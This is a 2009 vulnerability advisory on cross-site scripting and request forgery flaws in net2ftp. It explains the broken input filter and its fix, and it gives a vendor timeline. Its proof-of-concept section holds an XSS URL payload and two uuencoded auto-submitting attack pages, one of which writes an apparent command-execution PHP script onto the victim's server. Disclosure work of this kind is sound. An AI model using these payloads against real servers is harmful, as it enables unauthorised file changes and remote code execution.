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net2ftp <= 0.97 Cross-Site Scripting/Request Forgery

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#=cicatriz <c1c4tr1z@voodoo-labs.org>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=# /) /) /) _ _ _______(/ ________ // _ (/_ _ _____ _ (/__(_)(_)(_(_(_)(_) (/_(_(_/_) /_)_ o (_)/ (_(_/_ .-/ #=net2ftp <= 0.97 Cross-Site Scripting/Request Forgery=#=~~~~~~~~~~~~~~~(_/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Advisory & Vulnerability Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# Title: net2ftp <= 0.97 Cross-Site Scripting/Request Forgery Advisory ID: VUDO-2009-0804 Advisory URL: http://research.voodoo-labs.org/advisories/3 Date founded: 2009-04-02 Vendors contacted: net2ftp Class: Multiple Vulnerabilities Remotely Exploitable: Yes Localy Exploitable: No Exploit/PoC Available: Yes Policy: Full Disclosure Policy (RFPolicy) v2.0 #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Tested & Vulnerable packages=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# [+] net2ftp 0.97 [+] net2ftp 0.95 Beta: [*] net2ftp 0.98 beta #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Solutions and Workarounds=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# The vendor didn't released any fix/update. #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Technical Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# Multiple vulnerabilities were found on the package net2ftp [1], version 0.98 and below. Two types of vulnerabilities were found: Cross-Site Scripting and Cross-Site Request Forgery. [*] Cross-Site Scripting (XSS): This vulnerability it's produced by a "typo" in the function validateGeneriInput(), where the extraction of characters < and > fails because the regular expression in charge of the extraction it's invalid. +++includes/registerglobals.inc.php @@ 1088:1102 1088 function validateGenericInput($input) { 1089 1090 // -------------- 1091 // Remove the following characters <> 1092 // -------------- 1093 1094 // Remove XSS code 1095 // $input = RemoveXSS($input); 1096 1097 // Remove < > XXX 1098 $input = preg_replace("/\\<\\>]/", "", $input); 1099 1100 return $input; 1101 1102 } // end validateGenericInput ---includes/registerglobals.inc.php This can be easily fixed adding a "[" character to the pattern: +++ $input = preg_replace("/[\\<\\>]/", "", $input); --- [*] Cross-Site Request Forgery (CSRF): All the forms on the web application are vulnerable because they doesn't check any type of token to ensure that the user submited the form. So an attacker can trick the user to visit a website with this type of method and perform certain actions on the server, like create files, delete/rename/upload/etc. #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Proof of Concept=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# [*] Cross-Site Scripting (XSS): +++ http://ftp.victim.com/?state=login_small&errormessage=<iframe onload="alert(/voodoo/.source);"> --- [*] Cross-Site Request Forgery (CSRF): With this HTML page an attacker can create a evil PHP script on the user's server. (uuencoded) +++ begin 644 attack.html M/&AT;6P^"CQB;V1Y/@H)/&9O<FT@:60](D5D:71&;W)M(B!A8W1I;VX](FAT M='!S.B\O9G1P+G9I8W1I;2YC;VTO:6YD97@N<&AP(B!O;G-U8FUI=#TB(B!M M971H;V0](G!O<W0B/@H)"3QI;G!U="!N86UE/2)F='!S97)V97(B('9A;'5E M/2)V:6-T:6TN9G1P<V5R=F5R+F-O;2(@='EP93TB:&ED9&5N(CX*"0D\:6YP M=70@;F%M93TB9G1P<V5R=F5R<&]R="(@=F%L=64](C(Q(B!T>7!E/2)H:61D M96XB/@H)"3QI;G!U="!N86UE/2)U<V5R;F%M92(@=F%L=64](G9I8W1I;75S M97)N86UE(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)L86YG=6%G M92(@=F%L=64](F5N(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S M:VEN(B!V86QU93TB:6YD:6$B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA M;64](F9T<&UO9&4B('9A;'5E/2)B:6YA<GDB('1Y<&4](FAI9&1E;B(^"@D) M/&EN<'5T(&YA;64](G!A<W-I=F5M;V1E(B!V86QU93TB>65S(B!T>7!E/2)H M:61D96XB/@H)"3QI;G!U="!N86UE/2)S<VQC;VYN96-T(B!V86QU93TB;F\B M('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G9I97=M;V1E(B!V86QU M93TB;&ES="(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB<V]R="(@ M=F%L=64](B(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB<V]R=&]R M9&5R(B!V86QU93TB(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S M=&%T92(@=F%L=64](F5D:70B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA M;64](G-T871E,B(@=F%L=64](B(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@ M;F%M93TB9&ER96-T;W)Y(B!V86QU93TB+R(@='EP93TB:&ED9&5N(CX*"0D\ M:6YP=70@;F%M93TB<V-R965N(B!V86QU93TB,R(@='EP93TB:&ED9&5N(CX* M"@D)/&EN<'5T(&YA;64](G1E>'1A<F5A5'EP92(@=F%L=64](B(@='EP93TB M:&ED9&5N(CX*"0D\<V5L96-T(&YA;64](G1E>'1A<F5A4V5L96-T(B!I9#TB M=&5X=&%R96%396QE8W0B(&]N8VAA;F=E/2)D;V-U;65N="YF;W)M<ULG161I M=$9O<FTG72YS8W)E96XN=F%L=64],CMD;V-U;65N="YF;W)M<ULG161I=$9O M<FTG72YT97AT87)E851Y<&4N=F%L=64]9&]C=6UE;G0N9F]R;7-;)T5D:71& M;W)M)UTN=&5X=&%R96%396QE8W0N;W!T:6]N<UMD;V-U;65N="YF;W)M<ULG M161I=$9O<FTG72YT97AT87)E85-E;&5C="YS96QE8W1E9$EN9&5X72YV86QU M93MD;V-U;65N="YF;W)M<ULG161I=$9O<FTG72YS=6)M:70H*3LB/@H)"3QO M<'1I;VX@=F%L=64](G!L86EN(B!S96QE8W1E9#TB<V5L96-T960B/DYO<FUA M;"!T97AT87)E83PO;W!T:6]N/@H)"3PO<V5L96-T/@H)"3QI;G!U="!C;&%S M<STB:6YP=70B(&YA;64](F5N=')Y(B!T>7!E/2)T97AT(B!V86QU93TB979I M;"YP:'`B/CQB<CX*"0D\=&5X=&%R96$@;F%M93TB=&5X="(@8VQA<W,](F5D M:70B(')O=W,](C,S(B!S='EL93TB=VED=&@Z(#DY)3LB('=R87`](F]F9B(@ M;VYK97ED;W=N/2)486)497AT*"DB/CP_/6![)%]'151;)V-M9"==?6`_/CPO M=&5X=&%R96$^"@D\+V9O<FT^"CQS8W)I<'0^"F1O8W5M96YT+F9O<FUS6S!= G+G-U8FUI="@I.PH\+W-C<FEP=#X*"CPO8F]D>3X*/"]H=&UL/@H* ` end --- [*] CSRF + XSS: This is a Cross-Site Request Forgery attack that creates a simple Cross-Site Scripting attack in the "Bookmark" section. It can be even worse because the bookmark string can be written according to the attacker needs and the XSS vector can be permanent if the user saves that bookmark (and the string it's also vulnerable to XSS). (uuencoded) +++ begin 644 xss-csrf-attack.html M/&AT;6P^"CQB;V1Y/@H)/&9O<FT@:60](E-T871U<V)A<D9O<FTB(&%C=&EO M;CTB:'1T<',Z+R]F='`N=FEC=&EM+F-O;2]I;F1E>"YP:'`B(&]N<W5B;6ET M/2(B(&UE=&AO9#TB<&]S="(^"@D)/&EN<'5T(&YA;64](F9T<'-E<G9E<B(@ M=F%L=64](G9I8W1I;2YF='!S97)V97(N8V]M(B!T>7!E/2)H:61D96XB/@H) M"3QI;G!U="!N86UE/2)F='!S97)V97)P;W)T(B!V86QU93TB,C$B('1Y<&4] M(FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G5S97)N86UE(B!V86QU93TB=FEC M=&EM=7-E<FYA;64B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](FQA M;F=U86=E(B!V86QU93TB96XB('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA M;64](G-K:6XB('9A;'5E/2)I;F1I82(@='EP93TB:&ED9&5N(CX*"0D\:6YP M=70@;F%M93TB9G1P;6]D92(@=F%L=64](F)I;F%R>2(@='EP93TB:&ED9&5N M(CX*"0D\:6YP=70@;F%M93TB<&%S<VEV96UO9&4B('9A;'5E/2)Y97,B('1Y M<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G-S;&-O;FYE8W0B('9A;'5E M/2)N;R(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB=FEE=VUO9&4B M('9A;'5E/2)L:7-T(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S M;W)T(B!V86QU93TB(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S M;W)T;W)D97(B('9A;'5E/2(B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA M;64](G-T871E(B!V86QU93TB8F]O:VUA<FLB('1Y<&4](FAI9&1E;B(^"@D) M/&EN<'5T(&YA;64](G-T871E,B(@=F%L=64](FUA:6XB('1Y<&4](FAI9&1E M;B(^"@D)/&EN<'5T(&YA;64](F1I<F5C=&]R>2(@=F%L=64](B\B('1Y<&4] M(FAI9&1E;B(^"@H)"3QI;G!U="!N86UE/2)U<FPB('9A;'5E/2)J879A<V-R M:7!T.F%L97)T*#`I.R(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB M=&5X="(@=F%L=64](B9L=#MI9G)A;64@<W)C/6AT='`Z+R]V;V]D;V\M;&%B M<RYO<F<@;VYL;V%D/6%L97)T*'5N97-C87!E*"]V;V]D;V\E,C!P96]P;&4A M+RYS;W5R8V4I*3LF9W0[)FQT.R]I9G)A;64F9W0[(B!T>7!E/2)H:61D96XB M/@H)/"]F;W)M/@H*/'-C<FEP=#X*9&]C=6UE;G0N9F]R;7-;,%TN<W5B;6ET ?*"D["CPO<V-R:7!T/@H*/"]B;V1Y/@H\+VAT;6P^"@`` ` end --- #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=Reporting Timeline=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# [*] 02-04-2009: Bugs discovered. [*] 03-04-2009: Voodoo contacted the vendor. [*] 08-04-2009: After 5 days the vendor didn't gave any response. [*] 08-04-2009: Advisory VUDO-2009-0804 published. #=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# #=References=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=# [1] http://www.net2ftp.com/ #=cicatriz <c1c4tr1z@voodoo-labs.org>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=# #= miŠ¹ 08 abr 2009 ART =#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#